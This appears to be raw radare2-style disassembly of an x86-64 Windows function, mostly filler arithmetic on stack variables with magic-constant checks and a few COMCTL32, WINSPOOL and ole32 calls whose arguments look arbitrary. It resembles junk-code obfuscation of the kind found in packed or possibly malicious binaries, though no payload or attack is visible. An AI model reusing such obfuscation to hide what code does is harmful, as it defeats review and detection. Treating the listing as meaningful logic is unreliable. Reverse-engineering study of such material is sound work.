jbe 0x14004264a
mov rcx, qword [rsp + 0x4628]
call fcn.1400b5940
mov dword [rsp + 0x4898], 0xc804
mov eax, dword [rsp + 0x6804]
mov ecx, dword [rsp + 0x56a0]
and ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x1238]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
cmp dword [rsp + 0x9d28], 0xb001
je 0x140042bc3
movzx eax, word [rsp + 0xa8b0]
movzx ecx, word [rsp + 0x15c4]
sub eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [0x1400f7f18]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x9cc1]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movsx eax, byte [rsp + 0xa150]
movsx ecx, byte [rsp + 0x2858]
sub eax, ecx
mov byte [rsp + 0x9130], al
movsx eax, word [rsp + 0x4274]
movsx ecx, word [rsp + 0x96e8]
add eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0x8d0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x4258]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x2f8]
add ecx, dword [rax]
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0x97f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rcx, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x9a10]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x5298], rax
mov eax, dword [rsp + 0x99c0]
movzx ecx, al
mov eax, dword [0x1400f62d8]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1a10]
mov dword [rax], ecx
movsx eax, byte [rsp + 0xa150]
movsx ecx, byte [rsp + 0x2858]
or eax, ecx
mov byte [rsp + 0x9130], al
movzx ecx, byte [rsp + 0x9cc1]
movzx eax, byte [rsp + 0x2348]
xor ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx eax, byte [rsp + 0x9cc1]
movzx ecx, byte [0x1400f758a]
and eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x1130]
movsx edx, word [rax]
mov rax, qword [rsp + 0x8ba0]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xa88], ax
movzx eax, word [rsp + 0x5218]
movzx ecx, word [rsp + 0x15c4]
add eax, ecx
mov word [rsp + 0xa8b0], ax
mov rax, qword [rsp + 0x6f10]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xacd8]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x30e0], eax
mov rcx, qword [rsp + 0x9c28]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5298]
add rax, rcx
mov qword [rsp + 0x6e48], rax
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4af4]
add ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0x97f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov eax, dword [rsp + 0x9d28]
add eax, 0x35
mov dword [rsp + 0x9d28], eax
mov rax, qword [rsp + 0xb750]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa318]
add rcx, rax
mov rax, qword [0x1400f7fe8]
mov qword [rax], rcx
mov rax, qword [0x1400f7f18]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x5cc0]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
xor ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x13c0]
movsx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0x4980]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x2348], al
mov rcx, qword [rsp + 0x1a10]
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov ecx, dword [rcx]
and ecx, eax
mov rax, qword [rsp + 0xb2c0]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x9c28]
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6804]
add ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x40d8]
sub rcx, rax
mov rax, qword [rsp + 0xb750]
mov qword [rax], rcx
movsx edx, byte [rsp + 0x6958]
mov rax, qword [rsp + 0x7350]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [str.__._v], al
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0x96e8]
and eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x9130]
sub ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rax, qword [rsp + 0x69c8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
movzx ecx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x4980]
mov byte [rax], cl
mov eax, dword [rsp + 0x6e98]
mov dword [rsp + 0x1a50], eax
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x56a0]
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0x5298]
mov rcx, qword [rsp + 0x9b18]
xor rcx, rax
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
mov rax, qword [rsp + 0xb750]
mov rcx, qword [rsp + 0x3758]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x7350]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [str.__._v], al
movzx edx, word [rsp + 0x15c4]
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xacd8]
mov word [rax], cx
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov rax, qword [0x1400f7f18]
movzx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0x5218]
sub ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
movsx ecx, byte [rsp + 0xa150]
movsx eax, byte [rsp + 0x9130]
add ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
mov rcx, qword [rsp + 0x6930]
mov rax, qword [rsp + 0x9b18]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
jmp 0x14004268f
lea rax, [rsp + 0x40d8]
mov qword [rsp + 0x690], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x30e0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
movsx edi, byte [rsp + 0x1140]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
add edi, eax
mov rax, qword [rsp + 0xb208]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
cmp edi, eax
jle 0x140042c80
mov rax, qword [rsp + 0x2f8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x4258]
add ecx, dword [rax]
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
xor r8d, r8d
mov rdx, qword [rsp + 0xb8a0]
mov rcx, qword [rsp + 0x8d8]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5218]
or eax, ecx
mov word [0x1400f62e4], ax
jmp 0x140042d25
mov rax, qword [rsp + 0x7240]
movzx edx, word [rax]
movzx eax, word [rsp + 0x15c4]
sub edx, eax
mov rax, qword [rsp + 0x91d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
sub eax, ecx
cmp edx, eax
jge 0x140042d25
mov rax, qword [rsp + 0x4c58]
movsx edx, word [rax]
movsx eax, word [rsp + 0x4274]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xfb8]
mov word [rax], cx
mov r9d, reloc.COMCTL32.dll_MakeDragList
mov r8d, 0x1a
mov edx, 0x6b
mov rcx, qword [rsp + 0x8d8]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x16d0], rax
mov r9d, dword [rsp + 0x4af4]
movzx r8d, byte [rsp + 0xa150]
mov rax, qword [rsp + 0x2f8]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4258]
mov ecx, dword [rax]
call fcn.1400b5380
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
mov eax, dword [rsp + 0x6ee8]
add eax, 0x2e
mov dword [rsp + 0x6ee8], eax
movzx eax, byte [rsp + 0x9cc1]
movzx ecx, byte [0x1400f758a]
xor eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x9bd0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x69c8]
mov word [rax], cx
mov rcx, qword [rsp + 0x690]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4628]
sub rax, rcx
mov qword [rsp + 0xa318], rax
mov rcx, qword [rsp + 0x9a10]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x2f8]
mov eax, dword [rsp + 0x4af4]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
add eax, dword [rsp + 0x60e0]
mov dword [rsp + 0x30e0], eax
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
movzx eax, byte [0x1400f758a]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x9788], al
movsx eax, byte [rsp + 0x9130]
movsx ecx, byte [rsp + 0x6958]
and eax, ecx
mov byte [rsp + 0x2858], al
movzx edx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0x5cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x4c58]
mov word [rax], cx
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0x6804]
xor eax, ecx
mov dword [rsp + 0x4af4], eax
mov eax, dword [rsp + 0x46cc]
mov dword [rsp + 0x60e0], eax
mov rcx, qword [rsp + 0x6930]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5298], rax
mov rcx, qword [0x1400f7fe8]
mov rax, qword [rsp + 0x3758]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x6f90]
mov qword [rax], rcx
mov rax, qword [rsp + 0xa650]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx eax, byte [rax]
add ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
mov rax, qword [rsp + 0x7240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
and eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0x4c58]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x8ba0]
mov word [rax], cx
mov rax, qword [rsp + 0xa650]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c4]
sub eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99c0]
sub ecx, eax
mov rax, qword [rsp + 0x1238]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4258]
mov ecx, dword [0x1400f62e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4af4], eax
mov rcx, qword [rsp + 0xb750]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xa318]
add rax, rcx
mov qword [rsp + 0x40d8], rax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [0x1400f8370]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x6930]
mov qword [rax], rcx
movzx eax, byte [rsp + 0x9cc1]
movzx ecx, byte [rsp + 0x2348]
and eax, ecx
mov byte [0x1400f758a], al
movzx eax, word [rsp + 0x15c4]
movzx ecx, word [rsp + 0xa8b0]
or eax, ecx
mov word [rsp + 0x5218], ax
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x96e8]
xor eax, ecx
mov word [rsp + 0x4274], ax
mov rax, qword [rsp + 0xb208]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x9560]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movsx edx, byte [rsp + 0x2858]
mov rax, qword [rsp + 0x89a8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0xa150], al
mov rcx, qword [rsp + 0x9a10]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x5298]
add rax, rcx
mov qword [rsp + 0x9b18], rax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x30e0]
sub eax, ecx
mov dword [rsp + 0x60e0], eax
mov eax, dword [rsp + 0x56a0]
mov ecx, dword [0x1400f62e0]
and ecx, eax
mov rax, qword [rsp + 0xb690]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4c78]
sub rax, rcx
mov qword [rsp + 0x3758], rax
mov rax, qword [rsp + 0xfb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4274]
add eax, ecx
mov word [rsp + 0xa88], ax
movzx ecx, byte [rsp + 0x9cc1]
movzx eax, byte [rsp + 0x2348]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x2858]
movsx eax, byte [str.__._v]
add ecx, eax
mov rax, qword [rsp + 0xb208]
mov byte [rax], cl
mov rax, qword [rsp + 0x69c8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x7240]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xa8b0], ax
movzx ecx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0x4980]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0xa650]
mov byte [rax], cl
mov rcx, qword [rsp + 0x5298]
mov rax, qword [0x1400f8370]
add rax, rcx
mov qword [rsp + 0x6e48], rax
mov ecx, dword [rsp + 0x50a4]
mov eax, dword [rsp + 0x6804]
add eax, ecx
mov dword [rsp + 0xb360], eax
mov ecx, dword [rsp + 0x1a50]
mov rax, qword [rsp + 0x1a10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0x4c78]
mov rcx, qword [rsp + 0x3758]
xor rcx, rax
mov rax, qword [rsp + 0x690]
mov qword [rax], rcx
cmp dword [rsp + 0x6ee8], 0x37de
jne 0x140042d25
movsx edx, byte [rsp + 0x2858]
movsx eax, byte [str.__._v]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x89a8]
mov byte [rax], cl
mov ecx, dword [rsp + 0xee0]
mov eax, dword [rsp + 0xb360]
or eax, ecx
mov dword [0x1400f62e0], eax
movzx edx, byte [rsp + 0x9cc1]
mov rax, qword [rsp + 0x2740]
movzx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x2348], al
mov rax, qword [rsp + 0x9bd0]
movzx edx, word [rax]
mov rax, qword [rsp + 0xacd8]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0xa8b0], ax
movzx ecx, word [rsp + 0x15c4]
movzx eax, word [rsp + 0xa8b0]
add ecx, eax
mov rax, qword [rsp + 0x91d0]
mov word [rax], cx
mov rax, qword [rsp + 0x4258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6804]
and ecx, eax
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6e48]
add rcx, rax
mov rax, qword [rsp + 0x6f58]
mov qword [rax], rcx
mov rax, qword [rsp + 0x690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4628]
sub rcx, rax
mov rax, qword [rsp + 0xb750]
mov qword [rax], rcx
mov rax, qword [rsp + 0x9238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1238]
add ecx, dword [rax]
mov rax, qword [rsp + 0xb2c0]
mov dword [rax], ecx
mov rax, qword [rsp + 0xa650]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2348]
sub eax, ecx
mov byte [rsp + 0x9cc1], al
mov eax, dword [rsp + 0x3ed8]
add eax, 0x7f
mov dword [rsp + 0x3ed8], eax
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9788]
sub eax, ecx
mov byte [str.__._v], al
movsx ecx, word [rsp + 0x96e8]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0xfb8]
mov word [rax], cx
mov rax, qword [rsp + 0x4c58]
movsx edx, word [rax]
mov rax, qword [rsp + 0x3430]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
mov rax, qword [rsp + 0x89a8]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x1140]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x9130], al
mov rcx, qword [rsp + 0x6f90]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x4628]
or rax, rcx
mov qword [rsp + 0x4c78], rax
mov rax, qword [rsp + 0x1a10]
mov ecx, dword [rsp + 0x60e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99c0], eax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov ecx, dword [0x1400f62e0]
mov eax, dword [rsp + 0x4af4]
add eax, ecx
mov dword [rsp + 0xb360], eax
mov rax, qword [rsp + 0xacd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa8b0]
sub eax, ecx
mov word [rsp + 0x15c4], ax
movzx ecx, byte [rsp + 0x2348]
movzx eax, byte [rsp + 0x9cc1]
sub ecx, eax
mov rax, qword [0x1400f7f18]
mov byte [rax], cl
movzx ecx, word [rsp + 0x5218]
mov rax, qword [rsp + 0x69c8]
movzx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x9bd0]
mov word [rax], cx
mov rax, qword [rsp + 0xb208]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x89a8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x9788], al
mov rax, qword [rsp + 0x4c58]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x96e8]
sub eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0x8ba0]
movsx edx, word [rax]
mov rax, qword [rsp + 0x1130]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0xa88], ax
mov rax, qword [rsp + 0xb690]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x4258]
add ecx, dword [rax]
mov rax, qword [rsp + 0x2f8]
mov dword [rax], ecx
mov rcx, qword [rsp + 0xa318]
mov rax, qword [rsp + 0x6f90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x40d8], rax
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
mov dword [rsp + 0x46cc], eax
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
movzx eax, byte [rsp + 0x2348]
movzx ecx, byte [rsp + 0x9cc1]
xor eax, ecx
mov byte [0x1400f758a], al
mov rax, qword [rsp + 0x91d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x9bd0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x6f10]
mov word [rax], cx
mov rax, qword [rsp + 0xb208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1140]
and eax, ecx
mov byte [rsp + 0x2858], al
movsx ecx, byte [rsp + 0x9788]
movsx eax, byte [rsp + 0x9130]
add ecx, eax
mov rax, qword [rsp + 0x9560]
mov byte [rax], cl
cmp dword [rsp + 0x3ed8], 0xbf13
jbe 0x140043239
mov rax, qword [rsp + 0x2f8]
mov eax, dword [rax]
mov dword [rsp + 0xba9c], eax
cmp dword [rsp + 0xba9c], 0
je 0x140043641
jmp 0x14004373a
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
mov qword [rsp + 0xbaa0], rax
movabs rax, 0x4dcb5cc75d7d26e0
cmp qword [rsp + 0xbaa0], rax
je 0x14004366d
jmp 0x140043738
movzx eax, word [rsp + 0x15c4]
mov dword [rsp + 0xbaa8], eax
cmp dword [rsp + 0xbaa8], 0x688
je 0x140043717
cmp dword [rsp + 0xbaa8], 0x819
je 0x14004369f
jmp 0x140043738
movsx ecx, word [rsp + 0x96e8]
movsx eax, word [rsp + 0xa88]
add ecx, eax
mov rax, qword [rsp + 0x3ba8]
mov word [rax], cx
mov rcx, qword [rsp + 0x5298]
mov rax, qword [rsp + 0x9b18]
sub rax, rcx
mov qword [rsp + 0x6e48], rax
lea r8, [rsp + 0x15c4]
lea rdx, [fcn.1400b56b0]
mov rcx, qword [rsp + 0x8d8]
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [rsp + 0xac48], eax
mov rax, qword [rsp + 0xb2c0]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x60e0]
mov rax, qword [rsp + 0x9238]
mov dword [rax], ecx
jmp 0x140043738
mov rax, qword [rsp + 0x690]
mov rcx, qword [rsp + 0xb750]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4628], rax
jmp 0x1400437a8
lea r9, [rsp + 0xa318]
mov r8d, 0xe9
mov edx, 0x59
mov rcx, qword [rsp + 0x93a8]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x93a8], rax
mov eax, dword [rsp + 0x6804]
mov ecx, dword [rsp + 0x4af4]
and ecx, eax
mov rax, qword [rsp + 0x4258]
mov dword [rax], ecx
mov rax, qword [rsp + 0x2f8]
mov r9d, dword [rax]
movzx r8d, byte [str.__._v]
mov rax, qword [rsp + 0x4258]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4258]
mov ecx, dword [rax]
call fcn.1400b5380
mov rax, qword [rsp + 0x1238]
mov eax, dword [rax]
mov edx, dword [rsp + 0xca8]
add edx, eax
mov ecx, dword [rsp + 0x99c0]
mov eax, dword [rsp + 0x6e98]
sub eax, ecx
cmp edx, eax
jbe 0x140043869
movzx eax, word [rsp + 0xa8b0]
movzx ecx, word [rsp + 0x15c4]
sub eax, ecx
mov word [0x1400f62e4], ax
mov eax, dword [rsp + 0x50a4]
mov dword [rsp + 0xbaac], eax
cmp dword [rsp + 0xbaac], 0x216cc194
je 0x140043809
jmp 0x14004385c
movsx ecx, byte [str.__._v]
movsx eax, byte [rsp + 0x6958]
or ecx, eax
mov rax, qword [rsp + 0x7350]
mov byte [rax], cl
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0xa88]
mov r8, qword [rsp + 0x9b18]
mov rax, qword [rsp + 0x4980]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x4274]
call fcn.1400b56b0
jmp 0x140043869
call qword [sym.imp.ole32.dll_CoTestCancel]
mov dword [rsp + 0x78a4], eax
mov rax, qword [rsp + 0x3ba8]
movsx eax, word [rax]
mov dword [rsp + 0xbab0], eax
cmp dword [rsp + 0xbab0], 0
je 0x14004388a
jmp 0x14004398c
lea rax, [rsp + 0x9cc1]
mov qword [rsp + 0x5c90], rax
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov dword [rsp + 0xbab4], eax
cmp dword [rsp + 0xbab4], 0
je 0x1400438ba
jmp 0x14004396f
mov rax, qword [rsp + 0xb690]
mov eax, dword [rax]
mov dword [rsp + 0xbab8], eax
cmp dword [rsp + 0xbab8], 0
je 0x140043923
cmp dword [rsp + 0xbab8], 0x7276ba54
je 0x1400438e7
jmp 0x14004396d
movsx ecx, word [rsp + 0xa88]
movsx eax, word [rsp + 0x4274]
xor ecx, eax
mov rax, qword [rsp + 0x13c0]
mov word [rax], cx
movzx edx, byte [rsp + 0x9cc1]
movzx eax, byte [0x1400f758a]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x2348], al
jmp 0x14004396d
mov rax, qword [rsp + 0x1238]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x9238]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xa318]
mov rcx, qword [rsp + 0x4628]
and rcx, rax
mov rax, qword [rsp + 0x690]
mov qword [rax], rcx
lea rax, [0x1400f62e0]
mov qword [rsp + 0x28f8], rax
jmp 0x140043987
mov rax, qword [rsp + 0xb208]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0xa88]
call fcn.1400b55e0
jmp 0x140043a5e
mov rcx, qword [rsp + 0x6f58]
mov rax, qword [rsp + 0x9c28]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x9a10]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6f10]
movzx eax, word [rax]
mov dword [rsp + 0xbabc], eax
cmp dword [rsp + 0xbabc], 0x3b7
je 0x1400439d1
jmp 0x1400439f0
movsx edx, byte [rsp + 0x1140]
mov rax, qword [rsp + 0xb208]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [str.__._v], al
jmp 0x140043a42
mov edx, 0x1d
mov rcx, qword [rsp + 0x93a8]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x2304], eax
mov rax, qword [rsp + 0x4c78]
mov qword [rsp + 0x20], rax
movzx r9d, byte [rsp + 0xa150]
mov rax, qword [rsp + 0x1a10]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x9560]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0xa318]
call fcn.1400b5a80
movzx ecx, byte [rsp + 0x9cc1]
movzx eax, byte [rsp + 0x2348]
add ecx, eax
mov rax, qword [rsp + 0x4980]
mov byte [rax], cl
mov dword [rsp + 0x98], 0xe7ad
mov al, byte [rsp + 0x2858]
mov byte [rsp + 0xbac0], al
cmp byte [rsp + 0xbac0], 0
je 0x140043a94
cmp byte [rsp + 0xbac0], 0x22
je 0x1400b4a58
jmp 0x1400b4b2e
movsx edx, word [rsp + 0x4274]
mov rax, qword [rsp + 0x4c58]
